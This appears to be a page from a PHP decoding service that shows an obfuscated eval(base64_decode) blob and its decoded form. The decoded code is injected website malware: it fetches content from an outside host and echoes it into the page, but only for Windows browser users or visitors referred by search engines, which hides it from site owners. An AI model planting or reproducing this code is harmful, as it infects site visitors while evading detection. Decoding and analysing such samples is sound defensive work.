Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW..

Decoded Output download

$url       = 'http://wordpresstest2.info/1.txt';
$mode      = 1;//1  2

ini_set('default_socket_timeout',    15);    



//   _
function geturl_1($url)
{
	$ctx=stream_context_create(array('http'=>   array('timeout' => 15 )));

	return file_get_contents($url,false,$ctx);
}

//   _2 \ 
function geturl_2( $sock,$host, $path, $query )
{
	fputs($sock, "GET " . $path . "?" . $query . "  HTTP/1.0
" .
	"Host: $host
" .
	"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
" .
	"Accept: */*
" .
	"Accept-Language: en-us,en;q=0.5
" .
	"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
" .
	"Keep-Alive: 300
" .
	"Connection: keep-alive
" .
	"Referer: http://$host

");
	while ( $line = fread( $sock, 4096 ) )
	{
		$response .= $line;
	}
	fclose( $sock );
	$pos      = strpos($response, "

");
	$response = substr($response, $pos + 4);
	return $response;
}
//   _3 \ 
function geturl_3($url)
{
	$ch = curl_init($url);
	curl_setopt($ch, CURLOPT_HEADER, FALSE);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
	curl_setopt($ch, CURLOPT_TIMEOUT, 15);
	$result = curl_exec($ch);
	curl_close($ch);
	return $result;
}

function is_good_ua($useragent)
{
	if( stripos($useragent, 'opera')!==false || stripos($useragent, 'Firefox') || stripos($useragent, 'MSIE'))
	{
		return 1;
	}
	return 0;
}

function is_windows_ua($useragent)
{
	if(stripos($useragent, 'windows'))
	{
		return 1;
	}
	return 0;
}

function mainwork($url)
{
	if( ini_get("allow_url_fopen") == 1)
	{
		echo geturl_1($url);
	}
	else
	{
		$url_1 = parse_url($url);

		if($sock = @fsockopen($url_1['host'], 80,$errno, $errstr,15))
		{
			echo geturl_2( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
		}
		elseif( @function_exists('curl_init') )
		{
			echo geturl_3($url);
		}
	}
}


$ua = @$_SERVER['HTTP_USER_AGENT'];

if(is_windows_ua($ua))
{
	if ($mode == 1)
	{
		if (is_good_ua($ua))
		{
			mainwork($url);
		}
	}
	elseif ($mode == 2)
	{
		if (isset($_SERVER['HTTP_REFERER']))
		{
			$referer = $_SERVER['HTTP_REFERER'];
			if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com"))
			{
				if (!stristr($referer,"cache") or !stristr($referer,"inurl"))
				{
					mainwork($url);
				}
			}
		}
	}
}

Did this file decode correctly?

Original Code

eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW9kZSAgICAgID0gMTsvLzEg6OvoIDINCg0KaW5pX3NldCgnZGVmYXVsdF9zb2NrZXRfdGltZW91dCcsICAgIDE1KTsgICAgDQoNCg0KDQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818NCmZ1bmN0aW9uIGdldHVybF8xKCR1cmwpDQp7DQoJJGN0eD1zdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnPT4gICBhcnJheSgndGltZW91dCcgPT4gMTUgKSkpOw0KDQoJcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7DQp9DQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXzIgXCDR7url8vsNCmZ1bmN0aW9uIGdldHVybF8yKCAkc29jaywkaG9zdCwgJHBhdGgsICRxdWVyeSApDQp7DQoJZnB1dHMoJHNvY2ssICJHRVQgIiAuICRwYXRoIC4gIj8iIC4gJHF1ZXJ5IC4gIiAgSFRUUC8xLjBcclxuIiAuDQoJIkhvc3Q6ICRob3N0XHJcbiIgLg0KCSJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMC4zKSBHZWNrby8yMDA2MDQyNiBGaXJlZm94LzEuNS4wLjNcclxuIiAuDQoJIkFjY2VwdDogKi8qXHJcbiIgLg0KCSJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41XHJcbiIgLg0KCSJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43XHJcbiIgLg0KCSJLZWVwLUFsaXZlOiAzMDBcclxuIiAuDQoJIkNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuIiAuDQoJIlJlZmVyZXI6IGh0dHA6Ly8kaG9zdFxyXG5cclxuIik7DQoJd2hpbGUgKCAkbGluZSA9IGZyZWFkKCAkc29jaywgNDA5NiApICkNCgl7DQoJCSRyZXNwb25zZSAuPSAkbGluZTsNCgl9DQoJZmNsb3NlKCAkc29jayApOw0KCSRwb3MgICAgICA9IHN0cnBvcygkcmVzcG9uc2UsICJcclxuXHJcbiIpOw0KCSRyZXNwb25zZSA9IHN1YnN0cigkcmVzcG9uc2UsICRwb3MgKyA0KTsNCglyZXR1cm4gJHJlc3BvbnNlOw0KfQ0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMyBcIMrz8Ov7DQpmdW5jdGlvbiBnZXR1cmxfMygkdXJsKQ0Kew0KCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOw0KCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIGlzX2dvb2RfdWEoJHVzZXJhZ2VudCkNCnsNCglpZiggc3RyaXBvcygkdXNlcmFnZW50LCAnb3BlcmEnKSE9PWZhbHNlIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ0ZpcmVmb3gnKSB8fCBzdHJpcG9zKCR1c2VyYWdlbnQsICdNU0lFJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIGlzX3dpbmRvd3NfdWEoJHVzZXJhZ2VudCkNCnsNCglpZihzdHJpcG9zKCR1c2VyYWdlbnQsICd3aW5kb3dzJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIG1haW53b3JrKCR1cmwpDQp7DQoJaWYoIGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpDQoJew0KCQllY2hvIGdldHVybF8xKCR1cmwpOw0KCX0NCgllbHNlDQoJew0KCQkkdXJsXzEgPSBwYXJzZV91cmwoJHVybCk7DQoNCgkJaWYoJHNvY2sgPSBAZnNvY2tvcGVuKCR1cmxfMVsnaG9zdCddLCA4MCwkZXJybm8sICRlcnJzdHIsMTUpKQ0KCQl7DQoJCQllY2hvIGdldHVybF8yKCAkc29jaywgJHVybF8xWydob3N0J10sICR1cmxfMVsncGF0aCddLCAkdXJsXzFbJ3F1ZXJ5J10gKTsNCgkJfQ0KCQllbHNlaWYoIEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpICkNCgkJew0KCQkJZWNobyBnZXR1cmxfMygkdXJsKTsNCgkJfQ0KCX0NCn0NCg0KDQokdWEgPSBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KDQppZihpc193aW5kb3dzX3VhKCR1YSkpDQp7DQoJaWYgKCRtb2RlID09IDEpDQoJew0KCQlpZiAoaXNfZ29vZF91YSgkdWEpKQ0KCQl7DQoJCQltYWlud29yaygkdXJsKTsNCgkJfQ0KCX0NCgllbHNlaWYgKCRtb2RlID09IDIpDQoJew0KCQlpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCgkJew0KCQkJJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQoJCQlpZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkNCgkJCXsNCgkJCQlpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpDQoJCQkJew0KCQkJCQltYWlud29yaygkdXJsKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9"));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 a018b09f8d65f109003ef82cd97f98d6
Eval Count 1
Decode Time 78 ms